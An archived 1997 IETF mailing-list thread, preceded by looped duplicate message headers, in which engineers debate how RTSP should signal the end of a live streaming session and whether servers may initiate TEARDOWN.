Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034326.1063.481070; Sat, 31 May 1997 03:43:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054008.1063.481086; Sat, 31 May 1997 05:40:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28271>; Sat, 31 May 1997 00:48:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28265>; Sat, 31 May 1997 00:48:29 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27438>; Sat, 31 May 1997 00:48:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034300.1063.777390; Sat, 31 May 1997 03:47:46 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.034300.1063.777390@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 03:47:46 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072627.1063.481096; Sat, 31 May 1997 07:26:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01798>; Sat, 31 May 1997 02:45:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01792>; Sat, 31 May 1997 02:45:12 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28429>; Sat, 31 May 1997 02:45:08 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054000.1063.777410; Sat, 31 May 1997 05:44:26 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.054000.1063.777410@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 05:44:26 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090933.1063.481109; Sat, 31 May 1997 09:09:33 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03036>; Sat, 31 May 1997 04:31:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03030>; Sat, 31 May 1997 04:31:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA29506>; Sat, 31 May 1997 04:31:40 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072600.1063.777423; Sat, 31 May 1997 07:30:58 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.072600.1063.777423@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 07:30:58 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.105312.1063.481128; Sat, 31 May 1997 10:53:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03976>; Sat, 31 May 1997 06:14:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03969>; Sat, 31 May 1997 06:14:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA00492>; Sat, 31 May 1997 06:14:28 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090900.1063.777443; Sat, 31 May 1997 09:13:45 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.090900.1063.777443@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 09:13:45 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.124124.1063.481152; Sat, 31 May 1997 12:41:25 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04870>; Sat, 31 May 1997 07:57:01 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA04864>; Sat, 31 May 1997 07:56:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA01358>; Sat, 31 May 1997 07:56:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.105300.1063.777477; Sat, 31 May 1997 10:56:10 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.105300.1063.777477@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 10:56:10 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.142240.1063.481168; Sat, 31 May 1997 14:22:40 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA06013>; Sat, 31 May 1997 09:47:24 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA06007>; Sat, 31 May 1997 09:47:21 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA03081>; Sat, 31 May 1997 09:47:16 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.124100.1063.777518; Sat, 31 May 1997 12:46:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.124100.1063.777518@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 12:46:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Mon Jun  2 02:24:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09335>; Mon, 2 Jun 1997 09:28:40 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09328>; Mon, 2 Jun 1997 09:28:39 -0700
Received: from mail2.microsoft.com by quark.isi.edu (5.65c/5.61+local-27)
	id <AA02711>; Mon, 2 Jun 1997 09:28:38 -0700
Received: by INET-02-IMC with Internet Mail Service (5.0.1458.30)
	id <LXLLL2BZ>; Mon, 2 Jun 1997 09:27:50 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18036DA9BE@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@ISI.EDU
Subject: RTSP End of Session message
Date: Mon, 2 Jun 1997 09:24:46 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Unless I've missed something, there seems to be a need to have a
mechanism available for the Server to inform the client that a data
stream has ended for certain "live" events. That is, the DESCRIBE method
would usually carry this type of information for "on-demand" sessions
and live events with known ending times. However, not all "live" events
have a pre-known duration to them. In this case we need a mechanism to
have the server inform the client(s) that the session is over. How do we
do this in RTSP?

On another topic, I am embarassed that my last Email message got
involved in a mail loop. (I only sent it to the list once. Honest!) Do
we have a solution for the two questions I asked in that message?


From majordom@ISI.EDU  Mon Jun  2 06:21:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA24818>; Mon, 2 Jun 1997 13:21:46 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA24812>; Mon, 2 Jun 1997 13:21:42 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA22224>; Mon, 2 Jun 1997 13:21:41 -0700
Received: from bab.prognet.com (two145.dev.prognet.com) by murrow.prognet.com with SMTP id AA08754
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 2 Jun 1997 13:25:13 -0700
Date: Mon, 2 Jun 1997 13:21:37 -0700 (PDT)
From: Bruce Butterfield <bab@prognet.com>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP End of Session message
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18036DA9BE@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.LNX.3.95.970602131001.26844A-100000@bab.prognet.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I believe this is a transport issue, not a control issue. Each stream in a
presentation can indicate 'last packet' (in the stream data, perhaps, or
as an RTP extension). When the last stream has completed, the client sends
a TEARDOWN request, or starts up another presentation. 

Typically I think it should be up to the client to end a session because
only it knows when the last packet has been received. Out-of-band control
can only serve as a hint. 

Bruce Butterfield <bab@prognet.com>  	Phone: (206) 674-2467
Progressive Networks			Fax:   (206) 674-3580
Software Development Engineer - Platform Group

On Mon, 2 Jun 1997, Eric Fleischman wrote:

> Unless I've missed something, there seems to be a need to have a
> mechanism available for the Server to inform the client that a data
> stream has ended for certain "live" events. That is, the DESCRIBE method
> would usually carry this type of information for "on-demand" sessions
> and live events with known ending times. However, not all "live" events
> have a pre-known duration to them. In this case we need a mechanism to
> have the server inform the client(s) that the session is over. How do we
> do this in RTSP?
> 
> On another topic, I am embarassed that my last Email message got
> involved in a mail loop. (I only sent it to the list once. Honest!) Do
> we have a solution for the two questions I asked in that message?
> 


From majordom@ISI.EDU  Mon Jun  2 06:57:07 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA26589>; Mon, 2 Jun 1997 13:57:13 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA26582>; Mon, 2 Jun 1997 13:57:11 -0700
Received: from mail4.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA23659>; Mon, 2 Jun 1997 13:57:10 -0700
Received: by mail4.microsoft.com with Internet Mail Service (5.0.1458.30)
	id <LXLY652Y>; Mon, 2 Jun 1997 13:57:48 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18036DA9C6@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Bruce Butterfield' <bab@prognet.com>
Cc: confctrl@ISI.EDU
Subject: RE: RTSP End of Session message
Date: Mon, 2 Jun 1997 13:57:07 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I can't see this as a transport issue. Even if it were, since
RTSP-controlled multimedia data can purposefully be carried over
numerous transports in addition to RTP, extensions to RTP would not
address the problem.

As things stand with the current RTSP spec version for this scenario,
the client doesn't know when the last packet has been received. The only
thing the client knows is that it is no longer receiving data -- not why
that is so. There is no mechanism (e.g., STATUS method) for the client
to inquire as to why the server isn't sending data. There is no
mechanism for the server to tell the client (e.g., a Server initiated
PAUSE method with a Status Code of End of Session) that the session is
over. There is no indication in the RTSP state machine as to what the
proper state for this possibility should be (logically one should expect
the server to enter the Ready state once the session ends since it is no
longer in the Playing state -- but the state machine does not address
this possibility). Nor can one even assume that a TEARDOWN should be the
next logical method, especially if we're talking about a "channel" of an
Internet TV station in which a new broadcast session (perhaps with
different DESCRIBE values) may be about to start momentarily. Or maybe
there was a technical problem at the broadcaster which will be
momentarily fixed...

This is what I'd like to suggest we do:
1) more complete error code info to cover these types of possibilities
(non-sequence number alignment, end of session, etc)
2) recognition that the Server will need to end some sessions should
communications with the client get hopelessly out-of-what. Thus a
client-control-only approach is not "real life".
3) recognition that certain events can only be known to the server
(e.g., end of session) and thus the server needs a mechanism to convey
this status information to the client -- and the state machine should
account for such eventualities. I would prefer that this occurs either
via the server initiating a TEARDOWN (e.g., in the "communication is
hopeless state) or else initiating a PAUSE (e.g., end of session). 

> -----Original Message-----
> From:	Bruce Butterfield [SMTP:bab@prognet.com]
> Sent:	Monday, June 02, 1997 1:22 PM
> To:	Eric Fleischman
> Cc:	confctrl@ISI.EDU
> Subject:	Re: RTSP End of Session message
> 
> I believe this is a transport issue, not a control issue. Each stream
> in a
> presentation can indicate 'last packet' (in the stream data, perhaps,
> or
> as an RTP extension). When the last stream has completed, the client
> sends
> a TEARDOWN request, or starts up another presentation. 
> 
> Typically I think it should be up to the client to end a session
> because
> only it knows when the last packet has been received. Out-of-band
> control
> can only serve as a hint. 
> 
> Bruce Butterfield <bab@prognet.com>  	Phone: (206) 674-2467
> Progressive Networks			Fax:   (206) 674-3580
> Software Development Engineer - Platform Group
> 
> On Mon, 2 Jun 1997, Eric Fleischman wrote:
> 
> > Unless I've missed something, there seems to be a need to have a
> > mechanism available for the Server to inform the client that a data
> > stream has ended for certain "live" events. That is, the DESCRIBE
> method
> > would usually carry this type of information for "on-demand"
> sessions
> > and live events with known ending times. However, not all "live"
> events
> > have a pre-known duration to them. In this case we need a mechanism
> to
> > have the server inform the client(s) that the session is over. How
> do we
> > do this in RTSP?
> > 
> > On another topic, I am embarassed that my last Email message got
> > involved in a mail loop. (I only sent it to the list once. Honest!)
> Do
> > we have a solution for the two questions I asked in that message?
> > 

From majordom@ISI.EDU  Mon Jun  2 07:22:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA28824>; Mon, 2 Jun 1997 14:22:48 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA28818>; Mon, 2 Jun 1997 14:22:46 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA25645>; Mon, 2 Jun 1997 14:22:45 -0700
Received: from bab.prognet.com (two145.dev.prognet.com) by murrow.prognet.com with SMTP id AA14475
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 2 Jun 1997 14:26:18 -0700
Date: Mon, 2 Jun 1997 14:22:42 -0700 (PDT)
From: Bruce Butterfield <bab@prognet.com>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@ISI.EDU
Subject: RE: RTSP End of Session message
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18036DA9C6@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.LNX.3.95.970602140354.27395A-100000@bab.prognet.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Mon, 2 Jun 1997, Eric Fleischman wrote:

> I can't see this as a transport issue. Even if it were, since
> RTSP-controlled multimedia data can purposefully be carried over
> numerous transports in addition to RTP, extensions to RTP would not
> address the problem.

Any transport I could conceive of would have a mechanism to pass
information about the data it contains as well as the data itself. I only
mention RTP because it is the baseline transport supported by RTSP.
 
> As things stand with the current RTSP spec version for this scenario,
> the client doesn't know when the last packet has been received. The only
> thing the client knows is that it is no longer receiving data -- not why
> that is so. There is no mechanism (e.g., STATUS method) for the client
> to inquire as to why the server isn't sending data. There is no
> mechanism for the server to tell the client (e.g., a Server initiated
> PAUSE method with a Status Code of End of Session) that the session is
> over. There is no indication in the RTSP state machine as to what the
> proper state for this possibility should be (logically one should expect
> the server to enter the Ready state once the session ends since it is no
> longer in the Playing state -- but the state machine does not address
> this possibility). Nor can one even assume that a TEARDOWN should be the
> next logical method, especially if we're talking about a "channel" of an
> Internet TV station in which a new broadcast session (perhaps with
> different DESCRIBE values) may be about to start momentarily. Or maybe
> there was a technical problem at the broadcaster which will be
> momentarily fixed...
> 
> This is what I'd like to suggest we do:
> 1) more complete error code info to cover these types of possibilities
> (non-sequence number alignment, end of session, etc)
> 2) recognition that the Server will need to end some sessions should
> communications with the client get hopelessly out-of-what. Thus a
> client-control-only approach is not "real life".
> 3) recognition that certain events can only be known to the server
> (e.g., end of session) and thus the server needs a mechanism to convey
> this status information to the client -- and the state machine should
> account for such eventualities. I would prefer that this occurs either
> via the server initiating a TEARDOWN (e.g., in the "communication is
> hopeless state) or else initiating a PAUSE (e.g., end of session). 

The server is always able to initate a TEARDOWN for whatever reason, as is
the client. My point is that the client is the only participant that has
enough information to handle 'last packet' notification which is (of
course) sent by the server. It is certainly welcome to timeout, for
example. My point is that the control channel is inappropriate for flow
control mechanisms. Why muck up the spec with transport-dependent
idiosyncracies?

If you mean that the spec needs to enhance the state machine to include
exception handling, I don't disagree. Any proposals?




From majordom@ISI.EDU  Tue Jun  3 01:35:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22112>; Tue, 3 Jun 1997 08:35:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22106>; Tue, 3 Jun 1997 08:35:09 -0700
Received: from mail1.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA27327>; Tue, 3 Jun 1997 08:35:08 -0700
Received: by INET-01-IMC with Internet Mail Service (5.0.1458.30)
	id <MBPKD6Z7>; Tue, 3 Jun 1997 08:35:07 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18036DA9CD@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Bruce Butterfield' <bab@prognet.com>
Cc: confctrl@ISI.EDU
Subject: RE: RTSP End of Session message
Date: Tue, 3 Jun 1997 08:35:05 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> Bruce Butterfield wrote:
> 
> >Any transport I could conceive of would have a mechanism to pass
> >information about the data it contains as well as the data itself. I
> only
> >mention RTP because it is the baseline transport supported by RTSP.
>  
The job of a transport protocol is to convey user data, not interpret
that data.

> >The server is always able to initate a TEARDOWN for whatever reason,
> as is
> >the client. 
> 
The RTSP spec currently does not permit the Server to teardown a session
or take any initiative (except for the REDIRECT method), no matter how
great the provocation or confusing the miscommunication. (Please see
Table 2 in Section 9.0.) At a minimum the spec should be enhanced to
permit the Server to be given the ability to initiate a session
TEARDOWN.

>My point is that the client is the only participant that has
> >enough information to handle 'last packet' notification which is (of
> >course) sent by the server. It is certainly welcome to timeout, for
> >example. My point is that the control channel is inappropriate for
> flow
> >control mechanisms. Why muck up the spec with transport-dependent
> >idiosyncracies?
> 
There seems to be some confusion here: Nobody has been talking about
flow control. 

I also haven't been talking about "last packet notification".  I have
solely been talking about "end of data transmission notification" for
events where there was no previously announced end time or the
previously announced end time was modified for some reason.

> >If you mean that the spec needs to enhance the state machine to
> include
> >exception handling, I don't disagree. Any proposals?
> 
My proposal is that certain events (i.e., end of data transmission,
initial miscommunication between client & server) should be permitted to
cause the server's State machine to switch from "Playing" to "Ready". 

Specifically:
Should the presentation data stream end in an unanticipated manner, the
Server's state should switch from "Playing" to "Ready" and the server
should send the client a Status method informing it of the transition.
Should the client wish to inquire after the Server's current state, then
the client can send the server an Status method. Thus, the proposed
Status method has two different meanings, depending on who sends the
message: if Server, it's a notification of current Server state. If
Client, it's an inquiry concerning the current Server state.

Admittedly this adds extra complexity into RTSP. Thus perhaps the group
would favor the alternative to continue to let the session "hang" once
the data transmission has ended or else define some timeout mechanism??
But in any case, the Server needs to be given the ability to do a
TEARDOWN should the communication become hopelessly muddled.

From majordom@ISI.EDU  Tue Jun  3 11:48:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09720>; Tue, 3 Jun 1997 12:50:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA09711>; Tue, 3 Jun 1997 12:50:09 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA18847>; Tue, 3 Jun 1997 12:50:08 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id MAA29613; Tue, 3 Jun 1997 12:48:25 -0700
Message-Id: <3.0.1.32.19970603154824.008d7c60@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Tue, 03 Jun 1997 15:48:24 -0400
To: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'Bruce Butterfield'" <bab@prognet.com>
From: David Oran <oran@cisco.com>
Subject: RE: RTSP End of Session message
Cc: confctrl@ISI.EDU
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18036DA9CD@RED-68-MSG.dns.mi
 crosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric, I guess I find myself disagreeing with you again...sorry.

At 08:35 AM 6/3/97 -0700, Eric Fleischman wrote:
>> Bruce Butterfield wrote:
>> 
>> >Any transport I could conceive of would have a mechanism to pass
>> >information about the data it contains as well as the data itself. I
>> only
>> >mention RTP because it is the baseline transport supported by RTSP.
>>  
>The job of a transport protocol is to convey user data, not interpret
>that data.
>
One job of a transport protocol is to "frame" data - i.e. indicate
boundaries in the data, to cover cases where the data are not
self-describing. Only the transport protocol knows for sure when the source
has run out of data and hence  
I in fact agree with Bruce that the transport is the appropriate place for
the functionality. In the case of RTP, BYE works just fine. For TCP, FIN
works just fine. This also allows the clear separation of the notions "end
of stream", and "end of presentation", and "end of session".

>> >The server is always able to initate a TEARDOWN for whatever reason,
>> as is
>> >the client. 
>> 
>The RTSP spec currently does not permit the Server to teardown a session
>or take any initiative (except for the REDIRECT method), no matter how
>great the provocation or confusing the miscommunication. (Please see
>Table 2 in Section 9.0.) At a minimum the spec should be enhanced to
>permit the Server to be given the ability to initiate a session
>TEARDOWN.
>
I'm of the religion that the client is always in control, so I like the
current behavior. It makes the state machines simpler and still allows a
server to punt if it needs to blow a client off in order to recover
resources. As an aside: there's few things more tooth-grinding to me as a
developer of distributed applications than a server which decides my buggy
client (which I'm currently debugging) is too impolite and disconnects me
while I'm trying to figure out if the bug is mine or (please tell me it
isn't so...) the server's!

>>My point is that the client is the only participant that has
>> >enough information to handle 'last packet' notification which is (of
>> >course) sent by the server. It is certainly welcome to timeout, for
>> >example. My point is that the control channel is inappropriate for
>> flow
>> >control mechanisms. Why muck up the spec with transport-dependent
>> >idiosyncracies?
>> 
>There seems to be some confusion here: Nobody has been talking about
>flow control. 
>
The end-to-end argument says only the client application can tell if the
"last packet" is indeed such.

>I also haven't been talking about "last packet notification".  I have
>solely been talking about "end of data transmission notification" for
>events where there was no previously announced end time or the
>previously announced end time was modified for some reason.
>
Well, I tend to leave the movie theater when the screen goes blank
(sometimes before, even :-) ). Where's the server supposed to get this
magic signal from in the first place? 

>> >If you mean that the spec needs to enhance the state machine to
>> include
>> >exception handling, I don't disagree. Any proposals?
>> 
>My proposal is that certain events (i.e., end of data transmission,
>initial miscommunication between client & server) should be permitted to
>cause the server's State machine to switch from "Playing" to "Ready". 
>
>Specifically:
>Should the presentation data stream end in an unanticipated manner, the
>Server's state should switch from "Playing" to "Ready" and the server
>should send the client a Status method informing it of the transition.
>Should the client wish to inquire after the Server's current state, then
>the client can send the server an Status method. Thus, the proposed
>Status method has two different meanings, depending on who sends the
>message: if Server, it's a notification of current Server state. If
>Client, it's an inquiry concerning the current Server state.
>
>Admittedly this adds extra complexity into RTSP. Thus perhaps the group
>would favor the alternative to continue to let the session "hang" once
>the data transmission has ended or else define some timeout mechanism??
>But in any case, the Server needs to be given the ability to do a
>TEARDOWN should the communication become hopelessly muddled.
>
>
-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


